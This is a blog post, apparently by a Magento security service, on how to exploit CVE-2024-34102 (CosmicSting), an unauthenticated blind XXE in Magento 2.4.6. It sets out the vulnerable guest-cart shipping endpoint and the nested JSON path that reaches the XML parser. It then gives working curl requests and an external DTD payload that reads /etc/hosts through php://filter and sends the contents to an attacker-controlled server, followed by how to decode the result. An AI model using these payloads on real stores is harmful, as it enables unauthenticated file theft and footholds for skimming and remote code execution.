CVE-2024-34102(a.k.a CosmicSting) How to Attack

CVE-2024-34102(Now it can be chained with another bug to RCE) was discovered in 2023 and its details were published in June 2024. There already exists verified exploit script on the internet. By exploiting this vulnerability, the attacker can read any files on the server. Since it targets Magento, the attacker may be most interested in the env.php or reading process information to perform RCE.

CVE-2024-34102 Cosmic Sting Online Checker

Check your Magento store now and get the result within 20 seconds.

Story in 2024

Currently, there are specially crafted bots that are scanning the whole internet to find vulnerable stores and attack. All of these are done automatically since they are bots. We heard more than 1000 Magento sites got hacked in one night when the details of this vulnerability were just published.

Before September 2024, the victim Magento stores are usually found that unknown admin token(JWT) is somehow created(actually, it is crafted).

With the fake and "valid" admin token, the attacker can have access to all WebAPI endpoints and bypass authentication. The common symptoms are "fake orders" and CMS page got modified(to inject javascript malware).

In November 2024, a client reported to our rescue team that they constantly found somehow unknown admin accounts were created. After the investigation, we found multiple backdoors were installed on its server and the attacker successfully performed RCE by exploiting this vulnerability.

In December 2024, we got 2 cases. One is similar to the November one and we found there were PHP scripts that can steal sales data and theme settings were modified that a javascript was injected to steal credit cards. Another one is quite simple, the attacker was constantly injecting a malicious javascript to CMS pages via WebAPI.

Analyze and Prepare the Attack

Where to Attack?

Magento 2.4.6 is vulnerable. In the rest of this blog, we target this version to read the content of /etc/hosts.

The target endpoint /V1/carts/:cartId/estimate-shipping-methods is a REST API endpoint for guest shipping fees estimate. It can be confirmed in webapi.xml. Note it has a <resource ref="anonymous" /> access permission which makes the attack can be performed without any authentication!

The class and method responsible for this API are \Magento\Quote\Model\ShippingMethodManagement::estimateByExtendedAddress. The second parameter of this method is AddressInterface $address. Let's looking into the implementation of AddressInterface and check its constructor.

/**
 * @see \Magento\Quote\Model\Quote\Address
 */
public function __construct(
    Context $context,
    Registry $registry,
    ExtensionAttributesFactory $extensionFactory,
    AttributeValueFactory $customAttributeFactory,
    Data $directoryData,
    \Magento\Eav\Model\Config $eavConfig,
    \Magento\Customer\Model\Address\Config $addressConfig,
    RegionFactory $regionFactory,
    CountryFactory $countryFactory,
    AddressMetadataInterface $metadataService,
    AddressInterfaceFactory $addressDataFactory,
    RegionInterfaceFactory $regionDataFactory,
    DataObjectHelper $dataObjectHelper,
    ScopeConfigInterface $scopeConfig,
    \Magento\Quote\Model\Quote\Address\ItemFactory $addressItemFactory,
    \Magento\Quote\Model\ResourceModel\Quote\Address\Item\CollectionFactory $itemCollectionFactory,
    RateFactory $addressRateFactory,
    RateCollectorInterfaceFactory $rateCollector,
    CollectionFactory $rateCollectionFactory,
    RateRequestFactory $rateRequestFactory,
    CollectorFactory $totalCollectorFactory,
    TotalFactory $addressTotalFactory,
    Copy $objectCopyService,
    CarrierFactoryInterface $carrierFactory,
    Address\Validator $validator,
    Mapper $addressMapper,
    Address\CustomAttributeListInterface $attributeList,
    TotalsCollector $totalsCollector,
    TotalsReader $totalsReader,
    AbstractResource $resource = null,
    AbstractDb $resourceCollection = null,
    array $data = [],
    Json $serializer = null,
    StoreManagerInterface $storeManager = null,
    ?CompositeValidator $compositeValidator = null,
    ?CountryModelsCache $countryModelsCache = null,
    ?RegionModelsCache $regionModelsCache = null,
) {
    ...
}

Wow, what a huge constructor which also means it enables a lot of "possibilities".

If you dig into these dependencies recursively, i.e., TotalsReader $totalsReader -> TotalsCollectorList $collectorList -> Collector $totalCollector.

The last one \Magento\Quote\Model\Quote\Address\Total\Collector:

/**
 * @see \Magento\Quote\Model\Quote\Address\Total\Collector
 */
public function __construct(
    \Magento\Framework\App\Cache\Type\Config $configCacheType,
    \Psr\Log\LoggerInterface $logger,
    \Magento\Sales\Model\Config $salesConfig,
    \Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig,
    \Magento\Store\Model\StoreManagerInterface $storeManager,
    \Magento\Quote\Model\Quote\Address\TotalFactory $totalFactory,
    $sourceData = null,
    $store = null,
    SerializerInterface $serializer = null
) {
    ...
}

You will notice the \Magento\Quote\Model\Quote\Address\Total\Collector class has a @param \Magento\Framework\Simplexml\Element|mixed $sourceData parameter.

Why XXE Possible?

Class \Magento\Framework\Simplexml\Element just extends the PHP built-in SimpleXMLElement and lacks any kind of input sanitization.

Magento supports nested parameters in WebAPI by using a deserialization process. This makes the WebAPI easy to use and developers can write less code, but now it introduced uncontrollable things.

To performed the XXE attack, we need to set/control the input parameters of \Magento\Framework\Simplexml\Element. So the JSON payload would be wrapped as:

{
    "address": {
        "totalsReader": {
            "collectorList": {
                "totalCollector": {
                    "sourceData": {
                        ...<evil parameters here>...
                    }
                }
            }
        }
    }
}

Writing the Attack Script

Now we need to think the evil parameters.

According to the official PHP manual, the second parameter int $options can be used to specify additional Libxml parameters and constant LIBXML_NOENT(int 2) and LIBXML_DTDVALID(int 16) can enable the XXE attack.

And then we Googled the "Blind Local File Inclusion" examples which are typically used as a payload of XXE attack.

<?xml version="1.0"?>
<!-- just an example -->
<!DOCTYPE foo [
    <!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
    <!ENTITY % blind "<!ENTITY &#37; send SYSTEM 'http://{{attacker-server}}/?%xxe;'>">
    %blind;
    %send;
]>
<bar></bar>

Now, let's combine them together:

curl -i -XPOST "https://{{victim-server}}/rest/V1/guest-carts/1/estimate-shipping-methods" \
    -H 'Content-Type: application/json' \
    --data-raw '{
        "address": {
            "totalsReader": {
                "collectorList": {
                    "totalCollector": {
                        "sourceData": {
                            "data": "<?xml version=\"1.0\"?><!DOCTYPE foo[<!ENTITY % xxe SYSTEM \"php://filter/convert.base64-encode/resource=/etc/hosts\"><!ENTITY % blind \"<!ENTITY &#37; send SYSTEM http://{{attacker-server}}/?%xxe;>\">%blind; %send;]><bar></bar>",
                            "options": 2
                        }
                    }
                }
            }
        }
    }'

However, after some tests, it simply doesn't work. The exception message is "String could not be parsed as XML". Why? What's the missing part?

If you debug deeper, you will find Magento hides the real error. Actually it is a PHP Warning.

PHP Warning:  SimpleXMLElement::__construct(): Entity: line #: parser error : PEReferences forbidden in internal subset in ......

After further researching, we finally found out the real cause is "Internal Subset problem" and here the "PE" in "PEReferences" stands for "Parameter Entity".

We also found the reference. Note the underlined words.

In the internal DTD subset, parameter-entity references must not occur within markup declarations; they may occur where markup declarations can occur. (This does not apply to references that occur in external parameter entities or to the external subset.)

Well, it is an important hint that <!ENTITY &#37; send SYSTEM 'http://{{attacker-server}}/?%xxe;'> must be in an external DTD. So let's move it to be an "External Parameter Entity".

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY % ext_dtd SYSTEM "http://{{attacker-server}}/dtd.xml">
    %ext_dtd;
]>
<bar></bar>

With External DTD(dtd.xml):

<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % blind "<!ENTITY &#37; send SYSTEM 'http://{{attacker-server}}/?%xxe;'>">
%blind;
%send;

Perform a Successful Attack

OK, let's combine them altogether again:

curl -i -XPOST "https://{{victim-server}}/rest/V1/guest-carts/1/estimate-shipping-methods" \
    -H 'Content-Type: application/json' \
    --data-raw '{
        "address": {
            "totalsReader": {
                "collectorList": {
                    "totalCollector": {
                        "sourceData": {
                            "data": "<?xml version=\"1.0\"?><!DOCTYPE foo[<!ENTITY % ext_dtd SYSTEM \"http://{{attacker-server}}/dtd.xml\"> %ext_dtd;]><bar></bar>",
                            "options": 2
                        }
                    }
                }
            }
        }
    }'

You may get a 500 Internal Server Error, but the HTTP status code doesn't matter.

By checking the {{attacker-server}}'s access log, finally we got a request like:

"GET /?MTI3LjAuMC4xC...... HTTP/1.1" 200

MTI3LjAuMC4xC...... is a Base64 encoded parameter and if you decode it, it will reveal the content of /etc/hosts.

php -r 'echo base64_decode("MTI3LjAuMC4xC......");'

Conclusion -- What makes this kind of attack succeed?

  • Magento's deserialization process in its WebAPI design allows instantiating any class "documented" in the constructor.
    The vulnerable Magento versions don't have a security filter.
  • WebAPI caller can control the parameter of constructor.
  • Magento doesn't have an XXE protection layer which should be the last line of defense.
  • One more thing: php://filter's Base64 encode feature can encode special characters used in DTD hence makes the attack work on any file regardless of its content.

In the next blog, we are going to tell you how to defend against exploiting CVE-2024-34102.

If this blog post clears your doubts or is helpful, please share it!